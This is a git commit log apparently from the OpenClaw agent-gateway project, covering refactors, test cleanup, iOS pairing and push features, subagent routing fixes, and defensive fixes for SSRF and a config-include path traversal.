b62bd290cb fix: remove hardcoded disableBlockStreaming to honor agent config for TUI (#19693)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 710d449080
Co-authored-by: neipor <191749196+neipor@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-18 16:25:59 -05:00
Nimrod Gutman
dd28a77df0 fix(ios): refactor screen webview lifecycle handling (#20366)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7beb794a06
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-19 05:05:40 +08:00
Mariano
e67da1538c iOS/Gateway: wake disconnected iOS nodes via APNs before invoke (#20332)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7751f9c531
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 21:00:17 +00:00
Mariano
750276fa36 fix(protocol): regenerate Swift models for push.test (#20325)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9281e7ad03
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 20:04:03 +00:00
Mariano
264131eb9f Canvas: improve A2UI asset resolution and empty state (#20312)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: adce485695
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 19:44:55 +00:00
Mariano
fe3f0759b5 Chat UI: accept canonical main session key alias (#20311)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a4ed5235bc
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 19:42:18 +00:00
Mariano
6e7f1a6a1b iOS onboarding: prevent pairing flicker during auto-resume (#20310)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 691808b747
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 19:39:41 +00:00
Mariano
c2d12b7e31 iOS: add APNs registration and notification signing config (#20308)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 614180020e
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 19:37:03 +00:00
Mariano
99d099aa84 Gateway: add APNs push test pipeline (#20307)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6a1c442207
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 19:32:42 +00:00
Peter Steinberger
1f5cd65d60 refactor(channels): share case-insensitive account lookup in dock 2026-02-18 19:04:57 +00:00
Peter Steinberger
d7a6a0a0b9 refactor(reply): share embedded run fallback/context builders 2026-02-18 19:02:25 +00:00
Peter Steinberger
32a704f630 refactor(auth): share resolve profile params type 2026-02-18 19:02:19 +00:00
Peter Steinberger
f830261c40 test(daemon): dedupe schtasks fixtures and cover state-dir override 2026-02-18 18:54:51 +00:00
Peter Steinberger
9a77268242 refactor(media): share provider auth resolution for entry runs 2026-02-18 18:54:46 +00:00
Peter Steinberger
79cc4aec80 refactor(auth): share oauth result builders and token expiry checks 2026-02-18 18:54:40 +00:00
Peter Steinberger
8d4ffe350e refactor(agents): share discord role mutation parsing 2026-02-18 18:54:34 +00:00
Peter Steinberger
9362e0f9a9 refactor(browser): share download request helper 2026-02-18 18:54:27 +00:00
Peter Steinberger
2863661bcc refactor(gateway): share openai response text extraction 2026-02-18 18:54:22 +00:00
Peter Steinberger
e1419f3a02 refactor(agents): reuse embedded block flush helper 2026-02-18 18:54:15 +00:00
Peter Steinberger
fa5902f210 refactor(browser): share storage mutation route parsing 2026-02-18 18:42:26 +00:00
Peter Steinberger
7b9db18d5e refactor(cli): share directory list command flow 2026-02-18 18:38:58 +00:00
Peter Steinberger
a848e9a1cd fix(types): narrow snapshot refs mode type 2026-02-18 18:38:51 +00:00
Peter Steinberger
4c096020a2 refactor(commands): share configure wizard channel/daemon steps 2026-02-18 18:37:17 +00:00
Peter Steinberger
079bf25fee refactor(gateway): share transcript path/fd helpers 2026-02-18 18:35:04 +00:00
Peter Steinberger
37143cf70c refactor(slack): share markdown render options 2026-02-18 18:33:48 +00:00
Peter Steinberger
86f504e256 refactor(browser): share checked fetch helper for cdp 2026-02-18 18:33:40 +00:00
Peter Steinberger
f50c38ec1a refactor(browser): reuse role snapshot args in route 2026-02-18 18:33:35 +00:00
Peter Steinberger
2789eb7512 refactor(line): share rich menu user batching 2026-02-18 18:30:23 +00:00
Peter Steinberger
4f36c813a7 refactor(commands): share custom api verification request flow 2026-02-18 18:30:13 +00:00
Peter Steinberger
307719abe9 fix(types): align restart sentinel and typing test mocks 2026-02-18 18:25:25 +00:00
Peter Steinberger
0def1ac1d2 refactor(commands): share session entry persistence 2026-02-18 18:25:25 +00:00
Peter Steinberger
e103323014 refactor(browser): share playwright download wait/save flow 2026-02-18 18:25:25 +00:00
Peter Steinberger
7bf9b6e52f refactor(line): share account config base type 2026-02-18 18:25:25 +00:00
Peter Steinberger
9fd810e3a6 refactor(daemon): share systemd service action flow 2026-02-18 18:25:25 +00:00
Peter Steinberger
63403d47d9 refactor(auth): share oauth profile config checks 2026-02-18 18:25:25 +00:00
Peter Steinberger
06b2df9fc7 refactor(reply): share verbose gate helpers 2026-02-18 18:25:25 +00:00
Peter Steinberger
efd6ed9a56 refactor(subagents): dedupe list line rendering 2026-02-18 18:25:25 +00:00
Peter Steinberger
bec94449eb refactor(subagents): share run target resolution 2026-02-18 18:25:25 +00:00
Peter Steinberger
4e7182c4af refactor(media): share image resize side grid and quality steps 2026-02-18 18:25:25 +00:00
Peter Steinberger
85ebdf88b0 refactor(agents): share text block extraction helper 2026-02-18 18:25:25 +00:00
Peter Steinberger
2d55cc446a refactor(config): share install record schema shape 2026-02-18 18:25:25 +00:00
Peter Steinberger
0dc004fd21 refactor(sessions): share session thread/topic parsing 2026-02-18 18:25:25 +00:00
Peter Steinberger
1aa4d3a6f0 refactor(queue): share runtime settings and summary helpers 2026-02-18 18:25:25 +00:00
Peter Steinberger
84841aebe5 perf(test): replace telegram media flush sleeps 2026-02-18 18:10:32 +00:00
Peter Steinberger
e47df9ed76 perf(test): tighten background-abort e2e wait 2026-02-18 18:08:28 +00:00
Peter Steinberger
b7c75f3918 perf(test): speed up subagent persistence e2e flushes 2026-02-18 18:06:56 +00:00
Peter Steinberger
fae5ba637c perf(test): replace bash-tools polling loops 2026-02-18 18:03:18 +00:00
Peter Steinberger
e583e716f2 perf(test): use expect.poll for background abort completion 2026-02-18 18:00:07 +00:00
Peter Steinberger
6f273d5e2a perf(test): replace send-keys session polling loop 2026-02-18 17:57:48 +00:00
Peter Steinberger
cd8eb079e3 perf(test): replace subagent lifecycle polling helper 2026-02-18 17:53:33 +00:00
Peter Steinberger
c68d1073b5 perf(test): replace claude runner call polling loop 2026-02-18 17:51:38 +00:00
Peter Steinberger
a82ceb81d2 perf(test): replace sessions e2e yield loops with waitFor 2026-02-18 17:48:51 +00:00
Peter Steinberger
95aa5480a0 fix(telegram): correct onboarding import for chat lookup helper 2026-02-18 17:48:02 +00:00
Peter Steinberger
d67942af1e refactor(telegram): share getChat id lookup helper 2026-02-18 17:48:02 +00:00
Peter Steinberger
6187e2afbd refactor(gateway): share gmail watcher startup flow 2026-02-18 17:48:02 +00:00
Peter Steinberger
e702a9eb52 refactor(channels): share account action gate resolution 2026-02-18 17:48:02 +00:00
Peter Steinberger
b73a2de9f6 refactor(infra): reuse shared home prefix expansion 2026-02-18 17:48:02 +00:00
Peter Steinberger
b51166e879 refactor(browser): share control lifecycle helpers 2026-02-18 17:48:02 +00:00
Peter Steinberger
005e1d5fd1 refactor(cli): share styled select prompt helper 2026-02-18 17:48:02 +00:00
Peter Steinberger
8b48e0c615 refactor(shared): reuse requirement remote context type 2026-02-18 17:48:02 +00:00
Peter Steinberger
7b2697bd4d refactor(auto-reply): reuse native command spec mapping 2026-02-18 17:48:01 +00:00
Peter Steinberger
f46bcbe16d refactor(auto-reply): share slash set/unset command parsing 2026-02-18 17:48:01 +00:00
Mariano
fedebc245e fix(protocol): align bool-first AnyCodable equality/hash dispatch (#20233)
* fix(protocol): preserve booleans in AnyCodable bridge

* fix(protocol): align AnyCodable bool-first type dispatch
2026-02-18 17:47:13 +00:00
Peter Steinberger
8f079afb38 perf(test): remove timer usage in command queue ordering test 2026-02-18 17:46:39 +00:00
Peter Steinberger
6d15d01446 perf(test): replace relay list polling loop with expect.poll 2026-02-18 17:44:44 +00:00
Peter Steinberger
5d81c3ead6 perf(test): remove timer sleeps from concurrency test 2026-02-18 17:43:06 +00:00
Mariano
e9b4d86e37 fix(protocol): preserve AnyCodable booleans from JSON bridge (#20220)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1d86183e3b
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 17:39:54 +00:00
Peter Steinberger
05173ec53a perf(test): use fs.rm retry options in cron teardown 2026-02-18 17:37:26 +00:00
Peter Steinberger
aa3dfe8216 perf(test): replace role-update signal polling with waitFor 2026-02-18 17:35:13 +00:00
Peter Steinberger
d16621f608 fix(test): annotate mock web listener return type 2026-02-18 17:33:25 +00:00
Peter Steinberger
9c125c6c1f perf(test): remove unnecessary qmd export delay 2026-02-18 17:31:59 +00:00
Peter Steinberger
f9e67f3f4c perf(test): replace gateway chat polling loops with waitFor 2026-02-18 17:28:25 +00:00
Peter Steinberger
e8e47ff00e perf(test): replace manual log polling with vi.waitFor 2026-02-18 17:26:05 +00:00
Peter Steinberger
8ab90858ba refactor(auto-reply): share command action arg formatting 2026-02-18 17:23:44 +00:00
Peter Steinberger
0a78331536 refactor(infra): share shell env timeout normalization 2026-02-18 17:23:44 +00:00
Peter Steinberger
5ae4595bb9 refactor(plugins): reuse plugin service runtime context 2026-02-18 17:23:44 +00:00
Peter Steinberger
64a10e64e4 perf(test): replace reconnect polling sleeps with waitFor 2026-02-18 17:22:18 +00:00
Peter Steinberger
0d25b6a317 perf(test): remove fixed sleeps in async test flows 2026-02-18 17:20:35 +00:00
Peter Steinberger
00e32cf04a test(auto-reply): type set/unset action helper expectations 2026-02-18 17:16:36 +00:00
Peter Steinberger
28d49b8d44 refactor(auth-profiles): reuse cooldown timestamp resolver 2026-02-18 17:13:47 +00:00
Peter Steinberger
818419b4c4 refactor(auto-reply): share set/unset command action parsing 2026-02-18 17:13:40 +00:00
Peter Steinberger
288015a9fc refactor(auth): share api key masking utility 2026-02-18 17:13:35 +00:00
Peter Steinberger
3138dbaf75 test(auto-reply): share elevated-off status assertion 2026-02-18 17:01:22 +00:00
Peter Steinberger
50e5413c19 refactor(cron-test): share running-state fixture 2026-02-18 17:01:22 +00:00
Peter Steinberger
c7831fdf1e refactor(gateway-test): share preview transcript fixture 2026-02-18 17:01:22 +00:00
Peter Steinberger
e9f6a2ce52 refactor(web-test): share mock listener harness 2026-02-18 17:01:22 +00:00
Peter Steinberger
f05395ae00 refactor(test): share internal hook and npm pack assertions 2026-02-18 17:01:22 +00:00
Peter Steinberger
72a4d83334 perf(test): use microtask wait in fetch rejection test 2026-02-18 16:50:05 +00:00
Peter Steinberger
c0a6ff08a7 test(auto-reply): reuse shared directive and home test harnesses 2026-02-18 16:48:35 +00:00
Peter Steinberger
82cb185881 refactor(core): unify bounded concurrency runner 2026-02-18 16:48:35 +00:00
Peter Steinberger
2b8f1bade0 refactor(archive): share archive path safety helpers 2026-02-18 16:48:35 +00:00
Peter Steinberger
36996194cd perf(test): remove timer waits in hooks and discord monitor tests 2026-02-18 16:45:48 +00:00
Peter Steinberger
4605dfd2ae test(channels): add slack group-mention and onboarding helper coverage 2026-02-18 16:35:25 +00:00
Peter Steinberger
f3b75730de refactor(channels): share slack matching and allowlist prompt flow 2026-02-18 16:35:25 +00:00
Peter Steinberger
c0cd53e104 perf(test): trim sandbox registry cleanup churn 2026-02-18 16:28:00 +00:00
Peter Steinberger
a661eec0bf test(channels): cover query+limit filtering in directory config 2026-02-18 16:26:52 +00:00
Peter Steinberger
68be4611dd refactor(channels): dedupe directory query/limit pipelines 2026-02-18 16:26:52 +00:00
Peter Steinberger
d77dcebcb1 perf(test): replace timeout ticks with microtask waits 2026-02-18 16:23:55 +00:00
Peter Steinberger
983a68c23e test(matrix): cover directory context and group exact-match resolution 2026-02-18 16:22:20 +00:00
Peter Steinberger
eb4f1e765c refactor(matrix): dedupe directory/target match helpers 2026-02-18 16:22:20 +00:00
Peter Steinberger
e5f13db13d perf(test): remove polling loop from announce queue tests 2026-02-18 16:22:00 +00:00
Peter Steinberger
98fac87a9e test(matrix): add coverage for deduped action helpers 2026-02-18 16:18:01 +00:00
Peter Steinberger
f5c3702191 refactor(matrix): dedupe action limit and pin/reaction helpers 2026-02-18 16:18:01 +00:00
Peter Steinberger
7648f6bb00 perf(test): fake abort timer and dedupe slack thread cases 2026-02-18 16:14:07 +00:00
Peter Steinberger
29d3bb278f refactor(device-pair): reduce duplicated gateway parsing 2026-02-18 16:08:38 +00:00
Peter Steinberger
95d52b06d5 refactor(mattermost): dedupe reaction flow and test fixtures 2026-02-18 16:08:38 +00:00
Peter Steinberger
c7bc94436b perf(test): fake queue timers and merge telegram reply-mode checks 2026-02-18 16:01:20 +00:00
Peter Steinberger
797a47c3ce docs: harden coding-agent skill guidance example 2026-02-18 16:55:50 +01:00
Pejman Pour-Moezzi
a0d904dc23 docs(discord): replace quick setup and add recommended guild setup (#20088)
Co-authored-by: Shadow <shadow@openclaw.ai>
2026-02-18 09:39:09 -06:00
Peter Steinberger
6a19654c4a refactor(core): dedupe browser route signatures and cli watchdog schema 2026-02-18 14:15:20 +00:00
Peter Steinberger
1934eebbf0 refactor(agents): dedupe lifecycle send assertions and stable payload stringify 2026-02-18 14:15:14 +00:00
Peter Steinberger
168d24526e chore(protocol): regenerate Swift models for device pair remove params 2026-02-18 14:01:34 +00:00
Peter Steinberger
42025915db test(agents): dedupe sessions_spawn model preference assertions 2026-02-18 14:01:29 +00:00
Peter Steinberger
33b0b38f65 test(agents): dedupe shared bootstrap and tool-id test setup 2026-02-18 14:01:24 +00:00
Peter Steinberger
33f30367e1 fix(cli): include model and thinking fields in cron edit patch type 2026-02-18 13:39:40 +00:00
Peter Steinberger
41e68c31db test(channels): dedupe slack arg-menu and discord reply chunk assertions 2026-02-18 13:39:40 +00:00
Peter Steinberger
c7bfa818ea test(cli): dedupe cron add/edit assertion harness 2026-02-18 13:39:40 +00:00
Mariano
57083e4220 iOS: add Apple Watch companion message MVP (#20054)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 720791ae6b
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 13:37:41 +00:00
Peter Steinberger
e71e9a55ab fix(cli): align runtime capture helper with RuntimeEnv signature 2026-02-18 13:34:03 +00:00
Peter Steinberger
277d524fa3 test(agents): restore stable cron tool gateway mocks 2026-02-18 13:34:03 +00:00
Peter Steinberger
a18f411fb6 test(agents): dedupe cron tool mock wiring 2026-02-18 13:34:03 +00:00
Peter Steinberger
8f866d51c4 test(cli): dedupe runtime capture fixtures across command specs 2026-02-18 13:34:03 +00:00
Peter Steinberger
3af9f704c8 test(cli): dedupe repeated gateway node and slack pairing setup 2026-02-18 13:34:03 +00:00
Peter Steinberger
2d0ce40ed6 test(agents): dedupe tool-result overflow and telegram account helpers 2026-02-18 13:34:03 +00:00
Mariano
1437ed76a0 Gateway/CLI: add paired-device remove and clear flows (#20057)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 26523f8a38
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 13:27:31 +00:00
Mariano
fc65f70a9b iOS: stabilize pairing/reconnect loops (#20056)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b01a482a17
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 13:23:06 +00:00
Peter Steinberger
ff50d3303d test(memory): dedupe model-auth mock setup 2026-02-18 13:17:44 +00:00
Peter Steinberger
28b8101eef fix(browser): handle IPv6 loopback auth and dedupe fetch auth tests 2026-02-18 13:15:00 +00:00
Peter Steinberger
eb775ff24b test(media): dedupe audio provider request assertions 2026-02-18 13:13:43 +00:00
Peter Steinberger
e1b491d961 test(channels): dedupe inbound contract dispatch capture setup 2026-02-18 13:13:43 +00:00
Mariano
39881a318a Browser: reuse extension relay when relay port is already occupied (#20035)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b310666d39
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-18 13:13:04 +00:00
Peter Steinberger
f4db58a5fd test(media): dedupe auto-audio fixture wiring 2026-02-18 13:06:21 +00:00
Peter Steinberger
d067618600 test(line): dedupe reply chunk fixture setup 2026-02-18 13:06:08 +00:00
Peter Steinberger
53ad08f319 test(slack): type draft stream harness callbacks 2026-02-18 13:02:59 +00:00
Peter Steinberger
7b46f2c17f test(imessage): dedupe send test scaffolding 2026-02-18 13:01:37 +00:00
Peter Steinberger
7f7fc523cf test(cli): dedupe runMessageAction helper specs 2026-02-18 12:59:36 +00:00
Peter Steinberger
c6d6411378 test(media): dedupe redirect request fixtures 2026-02-18 12:58:35 +00:00
Peter Steinberger
7bca5f5400 test(slack): dedupe block and draft stream test fixtures 2026-02-18 12:57:51 +00:00
Peter Steinberger
3daf730fcc test(gateway): fix send target resolution error typing 2026-02-18 12:54:22 +00:00
Peter Steinberger
56ebbf0eed test(gateway): dedupe sessions usage handler fixtures 2026-02-18 12:52:34 +00:00
Peter Steinberger
fc29588329 test(gateway): dedupe send delivery fixtures 2026-02-18 12:52:25 +00:00
Peter Steinberger
3a09d85cd3 test(gateway): fix typed respond helpers in agent tests 2026-02-18 12:49:15 +00:00
Peter Steinberger
00c2308085 test(gateway): dedupe health status scope test setup 2026-02-18 12:48:10 +00:00
Peter Steinberger
c6da37dfb5 test(gateway): dedupe agent handler request fixtures 2026-02-18 12:48:04 +00:00
Peter Steinberger
396ccf9fb1 test(gateway): dedupe agents.files.list assertions 2026-02-18 12:45:14 +00:00
Peter Steinberger
2aec380fb3 test(gateway): dedupe update and chat abort persistence fixtures 2026-02-18 12:43:54 +00:00
Peter Steinberger
bb84452c62 fix(signal): restore mention-gating helper map typing 2026-02-18 12:43:46 +00:00
Peter Steinberger
37b5c92928 test(signal): dedupe mention-gating handler setup 2026-02-18 12:38:44 +00:00
Peter Steinberger
9b68af5f4f test(signal): dedupe receive event fixtures and add mention clamp case 2026-02-18 12:37:38 +00:00
Peter Steinberger
9c2b82362e test(signal): dedupe monitor tool-result test payload fixtures 2026-02-18 12:28:35 +00:00
Peter Steinberger
1e2b367e1e test(hooks): dedupe session-memory handler test setup 2026-02-18 12:28:30 +00:00
Peter Steinberger
c3472f6c54 test(memory): dedupe embeddings provider test fixtures 2026-02-18 12:28:25 +00:00
Peter Steinberger
87ca2a24bd test(gateway): dedupe call gateway test setup 2026-02-18 12:27:21 +00:00
Peter Steinberger
514e318df9 test(config): dedupe io write config test setup 2026-02-18 12:20:56 +00:00
Peter Steinberger
eabf187fa5 test(cron): dedupe migration and regression fixtures 2026-02-18 12:20:48 +00:00
Peter Steinberger
2fd211b705 test(auto-reply): dedupe directive behavior e2e fixtures 2026-02-18 12:20:40 +00:00
Peter Steinberger
3c886ee98b test(infra): dedupe update-runner fixture setup 2026-02-18 12:04:32 +00:00
Peter Steinberger
4750be9d5f test(cli): extract update-cli package-install test helpers 2026-02-18 12:04:32 +00:00
Peter Steinberger
3356aae704 test(cron): dedupe delivery target tests and add coverage 2026-02-18 12:04:32 +00:00
Peter Steinberger
36a34e5959 test(cron): dedupe isolated-agent session test setup 2026-02-18 12:04:32 +00:00
Nimrod Gutman
cb34e80f98 fix(ios): restore auto-selected team for local signing (#19993)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6f375238f0
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-18 19:38:23 +08:00
Taras Lukavyi
d833dcd731 fix(telegram): cron and heartbeat messages land in wrong chat instead of target topic (#19367)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: bf02bbf9ce
Co-authored-by: Lukavyi <1013690+Lukavyi@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-18 15:31:01 +05:30
the sun gif man
114736ed1a Doctor/Security: fix telegram numeric ID + symlink config permission warnings (#19844)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: e42bf1e48d
Co-authored-by: joshp123 <1497361+joshp123@users.noreply.github.com>
Co-authored-by: joshp123 <1497361+joshp123@users.noreply.github.com>
Reviewed-by: @joshp123
2026-02-18 00:09:51 -08:00
Gustavo Madeira Santana
7ea7b7e7af Infra: unify git root discovery 2026-02-18 00:45:43 -05:00
Peter Steinberger
639d0221ff test: dedupe line and whatsapp target resolution tests 2026-02-18 05:31:13 +00:00
Peter Steinberger
a9cce800df test: dedupe slack missing-thread tests and cover history failures 2026-02-18 05:31:06 +00:00
Peter Steinberger
12ad708ce5 test: dedupe gateway auth and sessions patch coverage 2026-02-18 05:30:59 +00:00
Peter Steinberger
e3292b9af1 test: dedupe sessions command tests and cover active filtering 2026-02-18 05:30:51 +00:00
Peter Steinberger
23f2150190 test: dedupe auth fallback tests and add auth util unit coverage 2026-02-18 05:05:04 +00:00
Peter Steinberger
112f8250fc test: dedupe registry/session tests and add install source coverage 2026-02-18 05:05:04 +00:00
Gustavo Madeira Santana
07fdceb5fd refactor: centralize presence routing and version precedence coverage (#19609)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 10d9df5263
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-18 00:02:51 -05:00
Robby
5c69e625f5 fix(cli): display correct model for sub-agents in sessions list (#18660)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ba54c5a351
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-17 23:59:20 -05:00
Peter Steinberger
a69e7682c1 refactor(test): dedupe channel and monitor action suites 2026-02-18 04:49:22 +00:00
Peter Steinberger
31f83c86b2 refactor(test): dedupe agent harnesses and routing fixtures 2026-02-18 04:49:22 +00:00
Peter Steinberger
8a9fddedc9 refactor: extract shared install and embedding utilities 2026-02-18 04:49:22 +00:00
Gustavo Madeira Santana
4d3403b7ac chore: fix CI errors 2026-02-17 23:46:40 -05:00
Peter Steinberger
308e09c876 perf(test): shorten process timeout fixtures 2026-02-18 04:27:01 +00:00
Peter Steinberger
46278e22cf perf(test): trim telegram duplicates and queue wait delays 2026-02-18 04:22:59 +00:00
Peter Steinberger
fa4772b4ce perf(test): dedupe telegram allowlist and speed twitch probe 2026-02-18 04:16:36 +00:00
Peter Steinberger
fdc6768227 perf(test): stabilize and speed sandbox registry races 2026-02-18 04:10:27 +00:00
Peter Steinberger
5f12334761 refactor: dedupe image, web, and auth profile test fixtures 2026-02-18 04:04:14 +00:00
Peter Steinberger
05b7bd2c22 refactor: dedupe command dispatch and process poll tests 2026-02-18 04:04:14 +00:00
Peter Steinberger
adac9cb67f refactor: dedupe gateway and scheduler test scaffolding 2026-02-18 04:04:14 +00:00
Peter Steinberger
262472ba20 test: remove duplicated scenario scaffolding across runtime tests 2026-02-18 04:04:14 +00:00
Peter Steinberger
e57628165a test: dedupe shared setup in channel and doctor config tests 2026-02-18 04:04:14 +00:00
Peter Steinberger
d1ab852972 test: extract shared e2e helpers for trigger handling and skills 2026-02-18 04:04:14 +00:00
Peter Steinberger
b099171db5 perf(test): dedupe slow discord monitor cases 2026-02-18 04:04:04 +00:00
Peter Steinberger
ac0db68235 refactor(security): extract safeBins trust resolver 2026-02-18 05:01:31 +01:00
Peter Steinberger
e8154c12e6 refactor(net): table-drive embedded IPv6 decoding and SSRF tests 2026-02-18 04:57:08 +01:00
Peter Steinberger
35016a380c fix(sandbox): serialize registry mutations and lock usage 2026-02-18 04:55:40 +01:00
Peter Steinberger
28bac46c92 fix(security): harden safeBins path trust 2026-02-18 04:55:31 +01:00
Peter Steinberger
42d2a61888 chore(changelog): move SSRF transition fix to 2026.2.18 2026-02-18 04:53:50 +01:00
Peter Steinberger
442fdbf3d8 fix(security): block SSRF IPv6 transition bypasses 2026-02-18 04:53:09 +01:00
Peter Steinberger
50e5553533 fix: align retry backoff semantics and test mock signatures 2026-02-18 04:53:09 +01:00
Gustavo Madeira Santana
0bf1b38cc0 Agents: fix subagent completion thread routing 2026-02-17 22:52:58 -05:00
Peter Steinberger
35851cdaff chore(changelog): move cron SSRF fix into 2026.2.18 2026-02-18 04:52:13 +01:00
Peter Steinberger
516046dba8 fix: avoid doctor token regeneration on invalid repairs 2026-02-18 04:51:25 +01:00
Peter Steinberger
797ea7ed27 perf(test): cut slow monitor/subagent test overhead 2026-02-18 03:50:30 +00:00
Peter Steinberger
99db4d13e5 fix(gateway): guard cron webhook delivery against SSRF 2026-02-18 04:48:08 +01:00
Peter Steinberger
bc00c7d156 refactor: dedupe sandbox registry helpers 2026-02-18 04:46:38 +01:00
Ayaan Zaidi
6a5f887b3d test: harden Telegram command menu sanitization coverage (#19703)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6a41b11590
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-18 09:16:31 +05:30
Peter Steinberger
cc29be8c9b fix: serialize sandbox registry writes 2026-02-18 04:44:56 +01:00
Peter Steinberger
8278903f0a fix: update deep links handling 2026-02-18 04:40:42 +01:00
Peter Steinberger
4bf3338834 chore: bump version to 2026.2.18 unreleased 2026-02-18 04:40:06 +01:00
Peter Steinberger
f25bbbc37e feat: switch anthropic onboarding defaults to sonnet 2026-02-18 04:37:58 +01:00
Gustavo Madeira Santana
e8816c554f Agents: fix subagent completion delivery to origin channel 2026-02-17 22:36:14 -05:00
Peter Steinberger
ca43efa965 fix(ci): force npm install path in smoke docker tests 2026-02-18 03:25:14 +00:00
Peter Steinberger
91e9684e8c test: add normalization coverage for shared and slack allow-list 2026-02-18 03:17:54 +00:00
Peter Steinberger
8407eeb33c refactor: extract shared string normalization helpers 2026-02-18 03:17:54 +00:00
Peter Steinberger
8984f31876 fix(agents): correct completion announce retry backoff schedule 2026-02-18 03:07:47 +00:00
Peter Steinberger
a420fa0417 fix(test): align subagent announce chat history mock typing 2026-02-18 03:02:20 +00:00
Peter Steinberger
289f215b31 fix(agents): make manual subagent completion announce deterministic 2026-02-18 03:00:27 +00:00
sebslight
d30492823c chore(auto-reply): format subagent command files 2026-02-17 21:55:47 -05:00
Peter Steinberger
34851a78b2 fix: route manual subagent spawn replies via OriginatingTo fallback 2026-02-18 03:48:18 +01:00
Peter Steinberger
4134875c31 fix: route discord native subagent announce to channel target 2026-02-18 02:42:52 +00:00
Peter Steinberger
c1928845ac fix: route native subagent spawns to target session 2026-02-18 02:35:58 +00:00
Gustavo Madeira Santana
40a6661597 test(cli): fix option-collision mock typings 2026-02-17 21:32:04 -05:00
Peter Steinberger
c90b09cb02 feat(agents): support Anthropic 1M context beta header 2026-02-18 03:29:48 +01:00
Peter Steinberger
d1c00dbb7c fix: harden include confinement edge cases (#18652) (thanks @aether-ai-agent) 2026-02-18 03:27:16 +01:00
aether-ai-agent
b5f551d716 fix(security): OC-06 prevent path traversal in config includes
Fixed CWE-22 path traversal vulnerability allowing arbitrary file reads
through the $include directive in OpenClaw configuration files.

Security Impact:
- CVSS 8.6 (High) - Arbitrary file read vulnerability
- Attack vector: Malicious config files with path traversal sequences
- Impact: Exposure of /etc/passwd, SSH keys, cloud credentials, secrets

Implementation:
- Added path boundary validation in resolvePath() (lines 169-198)
- Implemented symlink resolution to prevent bypass attacks
- Restrict includes to config directory only
- Throw ConfigIncludeError for escaping paths

Testing:
- Added 23 comprehensive security tests
